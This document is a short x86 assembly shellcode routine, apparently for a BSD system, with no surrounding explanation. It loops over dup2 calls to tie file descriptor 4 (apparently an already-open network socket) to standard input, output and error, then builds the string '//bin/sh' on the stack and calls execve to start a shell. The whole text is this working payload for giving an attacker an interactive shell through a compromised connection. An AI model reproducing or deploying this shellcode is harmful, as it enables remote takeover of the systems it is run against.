BITS 32 ;int3 push byte 4 pop ecx xor ebx, ebx doloop: cmp bl, 2 jg done push ebx push ecx ; dup2(4, 0) push byte 90 pop eax push eax int 0x80 inc ebx jmp short doloop done: xor eax,eax push eax push dword 0x68732f6e push dword 0x69622f2f mov ebx,esp push eax push ebx mov ecx,esp push ecx push ecx push ebx mov al,0x3b push eax int 0x80